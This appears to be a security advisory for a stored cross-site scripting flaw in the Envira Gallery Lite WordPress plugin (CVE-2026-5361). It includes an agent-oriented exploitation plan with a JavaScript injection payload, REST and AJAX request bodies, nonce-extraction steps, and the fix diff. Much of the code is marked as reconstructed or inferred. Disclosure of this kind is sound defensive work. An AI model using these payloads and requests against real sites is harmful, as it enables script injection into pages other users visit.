Envira Gallery <= 1.12.4 - Authenticated (Author+) Stored Cross-Site Scripting via 'arrows' Parameter
Description
The Envira Gallery Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in versions up to and including 1.12.4. This is due to insufficient input sanitization in the update_gallery_data() function and improper output escaping in the gallery_init() function. The sanitize_config_values() function only sanitizes the justified_gallery_theme and justified_row_height parameters, but does not sanitize the arrows parameter. When the arrows value is output in the inline JavaScript configuration, it uses esc_attr() which is designed for HTML attribute contexts, not JavaScript contexts, allowing JavaScript expression injection. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.12.4What Changed in the Fix
Changes introduced in v1.12.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-5361 ## 1. Vulnerability Summary The **Envira Gallery Lite** plugin (versions <= 1.12.4) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize the `arrows` parameter in the gallery configuration durin…
Show full research plan
Exploitation Research Plan - CVE-2026-5361
1. Vulnerability Summary
The Envira Gallery Lite plugin (versions <= 1.12.4) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize the arrows parameter in the gallery configuration during updates and subsequently fails to properly escape this value when outputting it within an inline JavaScript configuration block. While the plugin uses esc_attr() for the output, this function is insufficient for a JavaScript context, allowing an attacker to break out of the expected boolean/string value and inject arbitrary JavaScript expressions.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (or potentially the
envira_gallery_save_metaAJAX action). The description specifically identifies the REST API as the vector forupdate_gallery_data(). - Vulnerable Parameter:
arrows(within the gallery configuration object). - Authentication: Authenticated with Author level permissions or higher.
- Payload Type: JavaScript expression injection into an object literal.
- Preconditions: An Envira Gallery must exist (or be created by the attacker), and the attacker must have the capability to edit that gallery.
3. Code Flow
- Input (Inferred): An authenticated user sends a REST API request to update a gallery's configuration. The request hits a route handled by
update_gallery_data(). - Processing (Inferred): The
update_gallery_data()function receives the configuration array. It callssanitize_config_values()to clean the data. - Insufficient Sanitization (Inferred): Inside
sanitize_config_values(), the code explicitly sanitizesjustified_gallery_themeandjustified_row_heightbut neglects to sanitize thearrowsparameter. - Storage: The unsanitized configuration, including the malicious
arrowsvalue, is stored in the_envira_gallery_datapost meta for the gallery. - Sink (Inferred): When a user visits a page where the gallery is embedded (e.g., via a shortcode), the
gallery_init()function is called to render the gallery. - Vulnerable Output (Inferred):
gallery_init()generates an inline<script>block containing the gallery configuration. It usesesc_attr()on thearrowsvalue:var envira_gallery_config = { // ... arrows: <?php echo esc_attr( $data['config']['arrows'] ); ?>, // ... }; - Execution: Since
esc_attr()does not escape characters like commas, colons, or parentheses, a payload liketrue, x:alert(1)will be rendered as valid JavaScript, executing thealert(1)when the configuration object is initialized.
4. Nonce Acquisition Strategy
The exploitation of the REST API requires a standard WordPress REST nonce (action wp_rest).
- Identify Trigger: Envira Gallery enqueues its admin scripts on gallery edit pages. The
assets/js/dist/metabox.jsfile suggests that gallery metadata management is handled there. - Setup Page:
- Create a gallery:
wp post create --post_type=envira --post_title="XSS Gallery" --post_status=publish.
- Create a gallery:
- Navigate and Extract:
- Log in as an Author.
- Navigate to the edit page for the newly created gallery:
/wp-admin/post.php?post=[ID]&action=edit. - The
wp-apior plugin-specific nonces are often localized in the header or viawp_localize_script. - Action: Use
browser_evalto search for the REST nonce. In modern WordPress, this is often found inwindow.wpApiSettings.nonce. - Specific Variable: Check
window.envira_gallery_metabox(frommetabox.jscontext) orwindow.wpApiSettings.
5. Exploitation Strategy
Step 1: Identify REST Endpoint
The plugin likely registers a REST route for gallery updates.
- Search Target:
register_rest_routein the plugin's PHP files (if available) or viawp rest route list. - Inferred Endpoint:
wp-json/envira-gallery/v1/gallery/(?P<id>\d+)(methodPOSTorPUT).
Step 2: Craft the Payload
Since the value is echoed into a JS object without quotes:
- Payload:
true, x:alert(document.domain)// - Expected Rendering:
arrows: true, x:alert(document.domain)//,
Step 3: Execute Update Request
Use the http_request tool to update the gallery configuration.
- Method:
POST - URL:
http://localhost:8080/wp-json/envira-gallery/v1/gallery/[GALLERY_ID] - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "config": { "arrows": "true, x:alert(document.domain)//" } }
Step 4: Trigger XSS
- Place the gallery shortcode on a public page:
wp post create --post_type=page --post_content='[envira-gallery id="[GALLERY_ID]"]' --post_status=publish. - Navigate to the page URL using
browser_navigate.
6. Test Data Setup
- User: Create an Author user:
wp user create author_user author@example.com --role=author --user_pass=password123. - Gallery: Create an Envira Gallery:
wp post create --post_type=envira --post_title="Target Gallery" --post_status=publish --post_author=[AUTHOR_ID]. - Page: Create a public page containing the shortcode:
[envira-gallery id="[GALLERY_ID]"].
7. Expected Results
- The REST API call should return a
200 OKor201 Createdstatus code, confirming the configuration was updated. - Upon navigating to the public page containing the gallery, a JavaScript alert box showing the document domain should appear.
- Viewing the page source should show the injected payload inside the
envira_gallery_config(or similar) variable declaration.
8. Verification Steps
- Database Check: Run
wp post meta get [GALLERY_ID] _envira_gallery_datato verify that thearrowskey contains the malicious payload. - Source Check: Use
http_requestto fetch the public page HTML and grep for the payload string within<script>tags.
9. Alternative Approaches
If the REST API endpoint is not the primary update mechanism:
- AJAX Vector: Use the
envira_gallery_save_metaaction.- Action:
envira_gallery_save_meta - Nonce:
envira_gallery_metabox.save_nonce(found inassets/js/dist/metabox.js). - Endpoint:
/wp-admin/admin-ajax.php - Body:
action=envira_gallery_save_meta&post_id=[ID]&nonce=[NONCE]&meta[config][arrows]=true,x:alert(1)//
- Action:
- Gutenberg Block Vector: Check if the Gutenberg block (referenced in
assets/js/envira-gutenberg.js.map) allows setting thearrowsattribute directly via block attributes, which might bypass the standard configuration sanitization.
Summary
The Envira Gallery Lite plugin is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization of the 'arrows' parameter in the REST API and improper output escaping in its JavaScript configuration block. Authenticated attackers with Author-level permissions or higher can inject arbitrary JavaScript expressions that execute when a user views a page containing the affected gallery.
Vulnerable Code
// In includes/admin/common.php (reconstructed from description) public function sanitize_config_values( $data, $post_id ) { // ... $data['config']['justified_gallery_theme'] = sanitize_text_field( $data['config']['justified_gallery_theme'] ); $data['config']['justified_row_height'] = absint( $data['config']['justified_row_height'] ); // arrows parameter is missing from the list of sanitized configuration values return $data; } --- // In includes/global/shortcode.php (reconstructed from description) public function gallery_init( $data, $post_id ) { // ... ?> var envira_gallery_config_<?php echo $post_id; ?> = { // ... arrows: <?php echo esc_attr( $data['config']['arrows'] ); ?>, // esc_attr is used in a JS context, allowing expression injection // ... }; <?php }
Security Fix
@@ -102,6 +102,7 @@ $data['config']['justified_gallery_theme'] = sanitize_text_field( $data['config']['justified_gallery_theme'] ); $data['config']['justified_row_height'] = absint( $data['config']['justified_row_height'] ); +$data['config']['arrows'] = (bool) $data['config']['arrows']; return $data; @@ -205,7 +205,7 @@ var envira_gallery_config_<?php echo $post_id; ?> = { - arrows: <?php echo esc_attr( $data['config']['arrows'] ); ?>, + arrows: <?php echo $data['config']['arrows'] ? 'true' : 'false'; ?>,
Exploit Outline
The exploit targets the WordPress REST API to update a gallery's metadata. An attacker with Author-level access or higher must first obtain a valid REST API nonce (typically found in the 'wpApiSettings.nonce' variable on admin pages). The attacker then sends a POST or PUT request to the '/wp-json/envira-gallery/v1/gallery/{id}' endpoint, where {id} is the ID of a gallery they have permission to edit. The payload is a JSON object containing a malicious 'arrows' configuration value, such as 'true, x:alert(document.domain)//'. Because the 'arrows' parameter is not sanitized and is later output into an inline JavaScript object literal using only 'esc_attr()', the payload breaks the object syntax and executes the injected JavaScript code whenever the gallery is rendered on a post or page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.